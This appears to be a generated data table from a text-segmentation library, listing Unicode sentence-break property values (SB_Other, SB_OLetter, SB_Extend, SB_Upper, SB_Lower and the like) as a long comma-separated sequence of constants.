SB_Other, + SB_OLetter, + SB_STerm, + SB_Other, + SB_Format, + SB_OLetter, + SB_Extend, + SB_OLetter, + SB_Extend, + SB_Other, + SB_OLetter, + SB_Extend, + SB_OLetter, + SB_Other, + SB_Numeric, + SB_OLetter, + SB_Extend, + SB_OLetter, + SB_Other, + SB_SContinue, + SB_STerm, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Extend, + SB_OLetter, + SB_Extend, + SB_OLetter, + SB_Extend, + SB_OLetter, + SB_Extend, + SB_Other, + SB_OLetter, + SB_Extend, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_Extend, + SB_Format, + SB_Extend, + SB_OLetter, + SB_Extend, + SB_OLetter, + SB_Extend, + SB_OLetter, + SB_Extend, + SB_OLetter, + SB_Extend, + SB_STerm, + SB_Numeric, + SB_Other, + SB_OLetter, + SB_Extend, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_Extend, + SB_OLetter, + SB_Extend, + SB_Other, + SB_Extend, + SB_Other, + SB_Extend, + SB_OLetter, + SB_Other, + SB_Extend, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Extend, + SB_Other, + SB_Numeric, + SB_OLetter, + SB_Other, + SB_Extend, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_Extend, + SB_Other, + SB_Extend, + SB_Other, + SB_Extend, + SB_Other, + SB_Extend, + SB_Other, + SB_Extend, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_Numeric, + SB_Extend, + SB_OLetter, + SB_Extend, + SB_Other, + SB_Extend, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_Extend, + SB_OLetter, + SB_Extend, + SB_Other, + SB_Extend, + SB_Other, + SB_Extend, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Extend, + SB_Other, + SB_Numeric, + SB_Other, + SB_OLetter, + SB_Other, + SB_Extend, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_Extend, + SB_OLetter, + SB_Extend, + SB_Other, + SB_Extend, + SB_Other, + SB_Extend, + SB_Other, + SB_Extend, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Extend, + SB_Other, + SB_Numeric, + SB_Other, + SB_OLetter, + SB_Other, + SB_Extend, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_Extend, + SB_Other, + SB_Extend, + SB_Other, + SB_Extend, + SB_Other, + SB_OLetter, + SB_Other, + SB_Extend, + SB_Other, + SB_Numeric, + SB_Other, + SB_Extend, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Extend, + SB_Other, + SB_Extend, + SB_Other, + SB_Extend, + SB_Other, + SB_Extend, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Extend, + SB_Other, + SB_Numeric, + SB_Other, + SB_OLetter, + SB_Extend, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_Extend, + SB_OLetter, + SB_Extend, + SB_Other, + SB_Extend, + SB_Other, + SB_Extend, + SB_Other, + SB_Extend, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Extend, + SB_Other, + SB_Numeric, + SB_Other, + SB_OLetter, + SB_Other, + SB_Extend, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Extend, + SB_Other, + SB_Extend, + SB_Other, + SB_Extend, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Extend, + SB_Other, + SB_OLetter, + SB_Extend, + SB_Other, + SB_Numeric, + SB_Other, + SB_OLetter, + SB_Other, + SB_Extend, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_Extend, + SB_Other, + SB_Extend, + SB_Other, + SB_Extend, + SB_Other, + SB_Extend, + SB_Other, + SB_Numeric, + SB_Other, + SB_Extend, + SB_Other, + SB_OLetter, + SB_Extend, + SB_OLetter, + SB_Extend, + SB_Other, + SB_OLetter, + SB_Extend, + SB_Other, + SB_Numeric, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Extend, + SB_OLetter, + SB_Extend, + SB_Other, + SB_Extend, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_Extend, + SB_Other, + SB_Numeric, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_Extend, + SB_Other, + SB_Numeric, + SB_Other, + SB_Extend, + SB_Other, + SB_Extend, + SB_Other, + SB_Extend, + SB_Close, + SB_Extend, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_Extend, + SB_Other, + SB_Extend, + SB_OLetter, + SB_Extend, + SB_Other, + SB_Extend, + SB_Other, + SB_Extend, + SB_Other, + SB_OLetter, + SB_Extend, + SB_OLetter, + SB_Numeric, + SB_STerm, + SB_Other, + SB_OLetter, + SB_Extend, + SB_OLetter, + SB_Extend, + SB_OLetter, + SB_Extend, + SB_OLetter, + SB_Extend, + SB_OLetter, + SB_Extend, + SB_OLetter, + SB_Extend, + SB_OLetter, + SB_Extend, + SB_Numeric, + SB_Extend, + SB_Other, + SB_Upper, + SB_Other, + SB_Upper, + SB_Other, + SB_Upper, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_Extend, + SB_Other, + SB_STerm, + SB_Other, + SB_STerm, + SB_Other, + SB_OLetter, + SB_Other, + SB_Upper, + SB_Other, + SB_Lower, + SB_Other, + SB_OLetter, + SB_Other, + SB_STerm, + SB_OLetter, + SB_Sp, + SB_OLetter, + SB_Close, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Extend, + SB_Other, + SB_OLetter, + SB_Extend, + SB_STerm, + SB_Other, + SB_OLetter, + SB_Extend, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_Extend, + SB_Other, + SB_OLetter, + SB_Extend, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Extend, + SB_Other, + SB_Numeric, + SB_Other, + SB_SContinue, + SB_STerm, + SB_Other, + SB_SContinue, + SB_STerm, + SB_Other, + SB_Extend, + SB_Format, + SB_Other, + SB_Numeric, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Extend, + SB_OLetter, + SB_Extend, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_Extend, + SB_Other, + SB_Extend, + SB_Other, + SB_STerm, + SB_Numeric, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_Numeric, + SB_Other, + SB_OLetter, + SB_Extend, + SB_Other, + SB_OLetter, + SB_Extend, + SB_Other, + SB_Extend, + SB_Other, + SB_Extend, + SB_Numeric, + SB_Other, + SB_Numeric, + SB_Other, + SB_OLetter, + SB_STerm, + SB_Other, + SB_Extend, + SB_Other, + SB_Extend, + SB_OLetter, + SB_Extend, + SB_OLetter, + SB_Other, + SB_Numeric, + SB_STerm, + SB_Other, + SB_STerm, + SB_Other, + SB_Extend, + SB_Other, + SB_Extend, + SB_OLetter, + SB_Extend, + SB_OLetter, + SB_Numeric, + SB_OLetter, + SB_Extend, + SB_Other, + SB_OLetter, + SB_Extend, + SB_Other, + SB_STerm, + SB_Other, + SB_Numeric, + SB_Other, + SB_OLetter, + SB_Numeric, + SB_OLetter, + SB_STerm, + SB_Lower, + SB_Other, + SB_Extend, + SB_Other, + SB_Extend, + SB_OLetter, + SB_Extend, + SB_OLetter, + SB_Extend, + SB_OLetter, + SB_Other, + SB_Extend, + SB_Other, + SB_Lower, + SB_Extend, + SB_Other, + SB_Extend, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Other, + SB_Upper, + SB_Other, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Other, + SB_Upper, + SB_Other, + SB_Lower, + SB_Other, + SB_Upper, + SB_Other, + SB_Upper, + SB_Other, + SB_Upper, + SB_Other, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Other, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Other, + SB_Lower, + SB_Upper, + SB_Other, + SB_Lower, + SB_Other, + SB_Lower, + SB_Other, + SB_Lower, + SB_Upper, + SB_Other, + SB_Lower, + SB_Other, + SB_Lower, + SB_Upper, + SB_Other, + SB_Lower, + SB_Upper, + SB_Other, + SB_Lower, + SB_Other, + SB_Lower, + SB_Upper, + SB_Other, + SB_Sp, + SB_Format, + SB_Extend, + SB_Format, + SB_Other, + SB_SContinue, + SB_Other, + SB_Close, + SB_Other, + SB_ATerm, + SB_Other, + SB_Sep, + SB_Format, + SB_Sp, + SB_Other, + SB_Close, + SB_Other, + SB_STerm, + SB_Other, + SB_Close, + SB_STerm, + SB_Other, + SB_Sp, + SB_Format, + SB_Other, + SB_Format, + SB_Other, + SB_Lower, + SB_Other, + SB_Close, + SB_Lower, + SB_Other, + SB_Close, + SB_Other, + SB_Lower, + SB_Other, + SB_Extend, + SB_Other, + SB_Upper, + SB_Other, + SB_Upper, + SB_Other, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Other, + SB_Upper, + SB_Other, + SB_Upper, + SB_Other, + SB_Upper, + SB_Other, + SB_Upper, + SB_Other, + SB_Upper, + SB_Other, + SB_Upper, + SB_Other, + SB_Lower, + SB_Upper, + SB_Lower, + SB_OLetter, + SB_Lower, + SB_Other, + SB_Lower, + SB_Upper, + SB_Other, + SB_Upper, + SB_Lower, + SB_Other, + SB_Lower, + SB_Other, + SB_Upper, + SB_Lower, + SB_OLetter, + SB_Upper, + SB_Lower, + SB_OLetter, + SB_Other, + SB_Close, + SB_Other, + SB_Close, + SB_Other, + SB_Upper, + SB_Lower, + SB_Other, + SB_Close, + SB_Other, + SB_Close, + SB_Other, + SB_Close, + SB_Other, + SB_Close, + SB_Other, + SB_Close, + SB_Other, + SB_Close, + SB_Other, + SB_Close, + SB_Other, + SB_Upper, + SB_Other, + SB_Lower, + SB_Other, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Other, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Extend, + SB_Upper, + SB_Lower, + SB_Other, + SB_Lower, + SB_Other, + SB_Lower, + SB_Other, + SB_Lower, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_Extend, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_Extend, + SB_Close, + SB_Other, + SB_Close, + SB_Other, + SB_Close, + SB_Other, + SB_STerm, + SB_OLetter, + SB_Other, + SB_STerm, + SB_Other, + SB_Close, + SB_Other, + SB_Sp, + SB_SContinue, + SB_STerm, + SB_Other, + SB_OLetter, + SB_Close, + SB_Other, + SB_Close, + SB_Other, + SB_Close, + SB_Other, + SB_OLetter, + SB_Extend, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_Extend, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_STerm, + SB_OLetter, + SB_Other, + SB_STerm, + SB_OLetter, + SB_Numeric, + SB_OLetter, + SB_Other, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_OLetter, + SB_Extend, + SB_Other, + SB_Extend, + SB_Other, + SB_OLetter, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Extend, + SB_OLetter, + SB_Extend, + SB_Other, + SB_STerm, + SB_Other, + SB_STerm, + SB_Other, + SB_OLetter, + SB_Other, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_OLetter, + SB_Other, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_OLetter, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Other, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Other, + SB_OLetter, + SB_Lower, + SB_OLetter, + SB_Extend, + SB_OLetter, + SB_Extend, + SB_OLetter, + SB_Extend, + SB_OLetter, + SB_Extend, + SB_Other, + SB_OLetter, + SB_Other, + SB_STerm, + SB_Other, + SB_Extend, + SB_OLetter, + SB_Extend, + SB_Other, + SB_STerm, + SB_Numeric, + SB_Other, + SB_Extend, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_Numeric, + SB_OLetter, + SB_Extend, + SB_Other, + SB_STerm, + SB_OLetter, + SB_Extend, + SB_Other, + SB_OLetter, + SB_Other, + SB_Extend, + SB_OLetter, + SB_Extend, + SB_Other, + SB_STerm, + SB_Other, + SB_OLetter, + SB_Numeric, + SB_Other, + SB_OLetter, + SB_Extend, + SB_OLetter, + SB_Numeric, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Extend, + SB_Other, + SB_OLetter, + SB_Extend, + SB_OLetter, + SB_Extend, + SB_Other, + SB_Numeric, + SB_Other, + SB_STerm, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Extend, + SB_OLetter, + SB_Extend, + SB_OLetter, + SB_Extend, + SB_OLetter, + SB_Extend, + SB_OLetter, + SB_Extend, + SB_OLetter, + SB_Extend, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Extend, + SB_STerm, + SB_OLetter, + SB_Extend, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_Lower, + SB_Other, + SB_Lower, + SB_Other, + SB_Lower, + SB_OLetter, + SB_Extend, + SB_STerm, + SB_Extend, + SB_Other, + SB_Numeric, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_Lower, + SB_Other, + SB_Lower, + SB_Other, + SB_OLetter, + SB_Extend, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Close, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_Extend, + SB_SContinue, + SB_Other, + SB_SContinue, + SB_Other, + SB_Close, + SB_Other, + SB_Extend, + SB_Other, + SB_SContinue, + SB_Other, + SB_Close, + SB_Other, + SB_Close, + SB_Other, + SB_SContinue, + SB_ATerm, + SB_Other, + SB_SContinue, + SB_STerm, + SB_SContinue, + SB_Close, + SB_Other, + SB_SContinue, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_Format, + SB_Other, + SB_STerm, + SB_Other, + SB_Close, + SB_Other, + SB_SContinue, + SB_ATerm, + SB_Other, + SB_SContinue, + SB_Other, + SB_STerm, + SB_Other, + SB_Upper, + SB_Close, + SB_Other, + SB_Close, + SB_Other, + SB_Lower, + SB_Close, + SB_Other, + SB_Close, + SB_Other, + SB_Close, + SB_STerm, + SB_Close, + SB_SContinue, + SB_Other, + SB_OLetter, + SB_Extend, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_Format, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_Extend, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_Extend, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Extend, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_Upper, + SB_Lower, + SB_OLetter, + SB_Other, + SB_Numeric, + SB_Other, + SB_Upper, + SB_Other, + SB_Lower, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Extend, + SB_Other, + SB_Extend, + SB_Other, + SB_Extend, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_Extend, + SB_Other, + SB_Extend, + SB_Other, + SB_STerm, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Extend, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_Upper, + SB_Other, + SB_Lower, + SB_Other, + SB_Extend, + SB_OLetter, + SB_Extend, + SB_STerm, + SB_Other, + SB_Numeric, + SB_Other, + SB_Extend, + SB_OLetter, + SB_Extend, + SB_Other, + SB_Format, + SB_STerm, + SB_Other, + SB_OLetter, + SB_Other, + SB_Numeric, + SB_Other, + SB_Extend, + SB_OLetter, + SB_Extend, + SB_Other, + SB_Numeric, + SB_Other, + SB_STerm, + SB_Other, + SB_OLetter, + SB_Extend, + SB_Other, + SB_OLetter, + SB_Other, + SB_Extend, + SB_OLetter, + SB_Extend, + SB_OLetter, + SB_STerm, + SB_Other, + SB_Extend, + SB_STerm, + SB_Other, + SB_Numeric, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_STerm, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Extend, + SB_STerm, + SB_Other, + SB_STerm, + SB_Other, + SB_Extend, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_STerm, + SB_Other, + SB_OLetter, + SB_Extend, + SB_Other, + 